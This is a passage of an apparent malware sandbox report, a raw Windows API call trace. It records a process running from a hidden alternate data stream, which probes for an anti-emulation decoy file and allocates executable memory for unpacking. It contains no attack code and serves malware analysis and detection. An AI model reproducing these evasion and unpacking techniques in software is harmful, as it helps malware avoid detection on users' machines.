ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.477] ResetEvent (hEvent=0xe8) returned 1 [0149.477] SetEvent (hEvent=0xec) returned 1 [0149.477] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.477] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.477] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.477] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.477] ResetEvent (hEvent=0xe8) returned 1 [0149.477] SetEvent (hEvent=0xec) returned 1 [0149.477] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.477] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.478] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.478] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.478] ResetEvent (hEvent=0xe8) returned 1 [0149.478] SetEvent (hEvent=0xec) returned 1 [0149.478] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.478] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.478] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.478] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.478] ResetEvent (hEvent=0xe8) returned 1 [0149.478] SetEvent (hEvent=0xec) returned 1 [0149.478] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.478] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.478] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.478] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.478] ResetEvent (hEvent=0xe8) returned 1 [0149.478] SetEvent (hEvent=0xec) returned 1 [0149.478] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.478] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.478] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.479] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.479] ResetEvent (hEvent=0xe8) returned 1 [0149.479] SetEvent (hEvent=0xec) returned 1 [0149.479] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.479] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.479] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.479] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.493] GetFileType (hFile=0x190) returned 0x3 [0149.493] GetFileType (hFile=0x190) returned 0x3 [0149.494] GetFileType (hFile=0x190) returned 0x0 [0149.495] GetFileType (hFile=0x190) returned 0x3 [0149.495] GetFileType (hFile=0x190) returned 0x3 [0149.495] GetFileType (hFile=0x190) returned 0x3 [0149.503] GetFileType (hFile=0x190) returned 0x3 [0149.563] GetFileType (hFile=0x190) returned 0x3 [0149.565] GetFileType (hFile=0x190) returned 0x3 [0149.568] GetFileType (hFile=0x190) returned 0x3 [0149.572] GetFileType (hFile=0x190) returned 0x3 [0149.572] GetFileType (hFile=0x190) returned 0x3 [0149.572] GetFileType (hFile=0x190) returned 0x3 [0149.572] GetFileType (hFile=0x190) returned 0x3 [0149.572] GetFileType (hFile=0x190) returned 0x3 [0149.579] GetFileType (hFile=0x1ac) returned 0x3 [0149.579] GetFileType (hFile=0x1ac) returned 0x3 [0149.579] GetFileType (hFile=0x1ac) returned 0x3 [0149.581] GetFileType (hFile=0x1ac) returned 0x1 [0149.581] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.581] MapViewOfFile (hFileMappingObject=0x1ac, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0149.591] GetFileType (hFile=0x1b4) returned 0x1 [0149.591] NtQueryObject (in: Handle=0x1b4, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.592] MapViewOfFile (hFileMappingObject=0x1b4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0149.592] GetFileType (hFile=0x1b4) returned 0x1 [0149.592] NtQueryObject (in: Handle=0x1b4, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.596] GetFileType (hFile=0x1b4) returned 0x3 [0149.602] GetFileType (hFile=0x1b4) returned 0x1 [0149.602] NtQueryObject (in: Handle=0x1b4, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.603] MapViewOfFile (hFileMappingObject=0x1b4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0149.603] GetFileType (hFile=0x1b4) returned 0x1 [0149.603] NtQueryObject (in: Handle=0x1b4, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.603] MapViewOfFile (hFileMappingObject=0x1b4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0149.604] GetFileType (hFile=0x1b4) returned 0x1 [0149.604] NtQueryObject (in: Handle=0x1b4, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.604] MapViewOfFile (hFileMappingObject=0x1b4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0149.604] GetFileType (hFile=0x1b4) returned 0x1 [0149.604] NtQueryObject (in: Handle=0x1b4, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.605] MapViewOfFile (hFileMappingObject=0x1b4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0149.605] GetFileType (hFile=0x1b4) returned 0x1 [0149.605] NtQueryObject (in: Handle=0x1b4, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.605] MapViewOfFile (hFileMappingObject=0x1b4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0149.605] GetFileType (hFile=0x1b4) returned 0x1 [0149.605] NtQueryObject (in: Handle=0x1b4, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.605] MapViewOfFile (hFileMappingObject=0x1b4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0149.606] GetFileType (hFile=0x1b4) returned 0x1 [0149.606] NtQueryObject (in: Handle=0x1b4, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.606] MapViewOfFile (hFileMappingObject=0x1b4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0149.606] GetFileType (hFile=0x1b4) returned 0x1 [0149.606] NtQueryObject (in: Handle=0x1b4, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.606] MapViewOfFile (hFileMappingObject=0x1b4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0149.607] GetFileType (hFile=0x1b4) returned 0x1 [0149.607] NtQueryObject (in: Handle=0x1b4, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.607] MapViewOfFile (hFileMappingObject=0x1b4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0149.607] GetFileType (hFile=0x1b4) returned 0x1 [0149.607] NtQueryObject (in: Handle=0x1b4, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.607] MapViewOfFile (hFileMappingObject=0x1b4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0149.608] GetFileType (hFile=0x1b4) returned 0x1 [0149.608] NtQueryObject (in: Handle=0x1b4, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.608] MapViewOfFile (hFileMappingObject=0x1b4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0149.609] GetFileType (hFile=0x1b4) returned 0x1 [0149.609] NtQueryObject (in: Handle=0x1b4, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.609] MapViewOfFile (hFileMappingObject=0x1b4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0149.609] GetFileType (hFile=0x1b4) returned 0x1 [0149.609] NtQueryObject (in: Handle=0x1b4, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.610] MapViewOfFile (hFileMappingObject=0x1b4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0149.612] GetFileType (hFile=0x1b4) returned 0x1 [0149.612] NtQueryObject (in: Handle=0x1b4, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.612] MapViewOfFile (hFileMappingObject=0x1b4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0149.612] GetFileType (hFile=0x1b4) returned 0x1 [0149.612] NtQueryObject (in: Handle=0x1b4, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.612] MapViewOfFile (hFileMappingObject=0x1b4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0149.613] GetFileType (hFile=0x1b4) returned 0x1 [0149.613] NtQueryObject (in: Handle=0x1b4, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.613] MapViewOfFile (hFileMappingObject=0x1b4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0149.614] GetFileType (hFile=0x1b4) returned 0x1 [0149.614] NtQueryObject (in: Handle=0x1b4, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.614] MapViewOfFile (hFileMappingObject=0x1b4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0149.614] GetFileType (hFile=0x1b4) returned 0x1 [0149.614] NtQueryObject (in: Handle=0x1b4, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.615] MapViewOfFile (hFileMappingObject=0x1b4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0149.615] GetFileType (hFile=0x1b4) returned 0x1 [0149.615] NtQueryObject (in: Handle=0x1b4, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.615] MapViewOfFile (hFileMappingObject=0x1b4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0149.616] GetFileType (hFile=0x1b4) returned 0x1 [0149.616] NtQueryObject (in: Handle=0x1b4, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.616] MapViewOfFile (hFileMappingObject=0x1b4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0149.618] GetFileType (hFile=0x1b4) returned 0x0 [0149.621] GetFileType (hFile=0x1b4) returned 0x1 [0149.621] NtQueryObject (in: Handle=0x1b4, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.621] MapViewOfFile (hFileMappingObject=0x1b4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0149.622] GetFileType (hFile=0x1b4) returned 0x1 [0149.622] NtQueryObject (in: Handle=0x1b4, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.623] MapViewOfFile (hFileMappingObject=0x1b4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0149.773] GetFileType (hFile=0x1a4) returned 0x1 [0149.773] NtQueryObject (in: Handle=0x1a4, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.773] MapViewOfFile (hFileMappingObject=0x1a4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0149.775] GetFileType (hFile=0x1a4) returned 0x1 [0149.776] NtQueryObject (in: Handle=0x1a4, ObjectInformationClass=0x1, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.776] MapViewOfFile (hFileMappingObject=0x1a4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 Thread: id = 1066 os_tid = 0x96c Process: id = "37" image_name = "ypqym2vs:bin" filename = "c:\\users\\5p5nrg~1\\appdata\\roaming\\ypqym2vs:bin" page_root = "0x726dd000" os_pid = "0x688" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "36" os_parent_pid = "0x624" cmd_line = "C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS:bin" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 488 os_tid = 0x68c [0138.921] GetTimeZoneInformation (in: lpTimeZoneInformation=0x20f840 | out: lpTimeZoneInformation=0x20f840) returned 0x2 [0138.924] GetCurrentProcess () returned 0xffffffff [0138.924] GetExitCodeProcess (in: hProcess=0xffffffff, lpExitCode=0x20f82c | out: lpExitCode=0x20f82c*=0x103) returned 1 [0138.924] GetForegroundWindow () returned 0x10058 [0138.924] GetCaretBlinkTime () returned 0x212 [0138.924] GetFileType (hFile=0xf710cd) returned 0x0 [0138.924] GetConsoleProcessList (in: lpdwProcessList=0x20f8ec, dwProcessCount=0x1 | out: lpdwProcessList=0x20f8ec) returned 0x0 [0138.924] VarCyFromUI8 (in: ui64In=0xdf39010a, pcyOut=0x20f7f8 | out: pcyOut=0x20f7f8) returned 0x0 [0138.926] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0138.926] GetCommState (in: hFile=0x3b268c, lpDCB=0x20f660 | out: lpDCB=0x20f660) returned 0 [0138.926] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x20f65c, pmr=0x20f648, cht=0x353) returned 0 [0138.926] CloseClipboard () returned 0 [0138.926] CoUninitialize () [0138.926] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0138.926] ReleaseMutex (hMutex=0xa0) returned 0 [0138.926] CloseHandle (hObject=0xa0) returned 1 [0138.926] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0138.927] GetCommState (in: hFile=0x3b268c, lpDCB=0x20f660 | out: lpDCB=0x20f660) returned 0 [0138.927] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x20f65c, pmr=0x20f648, cht=0x353) returned 0 [0138.927] CloseClipboard () returned 0 [0138.927] CoUninitialize () [0138.927] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0138.927] ReleaseMutex (hMutex=0xa0) returned 0 [0138.927] CloseHandle (hObject=0xa0) returned 1 [0138.927] GetLocalTime (in: lpSystemTime=0x20f8fc | out: lpSystemTime=0x20f8fc*(wYear=0x7e3, wMonth=0xb, wDayOfWeek=0x5, wDay=0x8, wHour=0x5, wMinute=0x17, wSecond=0xf, wMilliseconds=0x2e6)) [0138.928] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x20f37c | out: ProcedureAddress=0x20f37c*=0x77011856) returned 0x0 [0138.928] VirtualAlloc (lpAddress=0x0, dwSize=0x16000, flAllocationType=0x1000, flProtect=0x4) returned 0xd0000 [0139.017] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x20f37c | out: ProcedureAddress=0x20f37c*=0x77011856) returned 0x0 [0139.017] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0x60000 [0139.018] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x20f414 | out: ProcedureAddress=0x20f414*=0x770149d7) returned 0x0 [0139.018] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x20f414 | out: ProcedureAddress=0x20f414*=0x77011222) returned 0x0 [0139.018] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x20f414 | out: ProcedureAddress=0x20f414*=0x77011856) returned 0x0 [0139.018] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x20f414 | out: ProcedureAddress=0x20f414*=0x7701435f) returned 0x0 [0139.018] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0139.018] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0139.018] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0139.018] VirtualProtect (in: lpAddress=0x250000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x20f4c8 | out: lpflOldProtect=0x20f4c8*=0x2) returned 1 [0139.021] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0xf0000 [0139.024] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0139.024] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0139.024] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0139.024] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0139.837] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.867] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x590000 [0139.870] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x104) returned 0x5907d0 [0139.870] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x80) returned 0x5908e0 [0139.870] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x80) returned 0x590968 [0139.870] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x80) returned 0x5909f0 [0139.870] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x80) returned 0x590a78 [0139.870] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x80) returned 0x590b00 [0139.870] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x80) returned 0x590b88 [0139.870] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x80) returned 0x590c10 [0139.870] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x80) returned 0x590c98 [0139.871] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x80) returned 0x590d20 [0139.871] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x80) returned 0x590da8 [0139.871] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x80) returned 0x590e30 [0139.871] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x80) returned 0x590eb8 [0139.871] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x80) returned 0x590f40 [0139.871] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x80) returned 0x590fc8 [0139.871] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x80) returned 0x591050 [0139.871] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x80) returned 0x5910d8 [0139.871] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x400) returned 0x591160 [0139.871] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x2260000 [0139.871] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x22607d0 [0139.871] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x2260858 [0139.871] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x22608e0 [0139.871] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x184) returned 0x2260968 [0139.871] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2260af8 [0139.871] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2260b40 [0139.871] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2260b88 [0139.871] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2260bd0 [0139.872] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2260c18 [0139.872] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2260c60 [0139.872] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2260ca8 [0139.872] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2260cf0 [0139.872] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2260d38 [0139.872] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2260d80 [0139.872] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2260dc8 [0139.872] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2260e10 [0139.872] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2260e58 [0139.872] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2260ea0 [0139.872] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2260ee8 [0139.872] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2260f30 [0139.872] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x20f004, nSize=0x1000 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ypqym2vs:bin")) returned 0x2e [0139.873] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 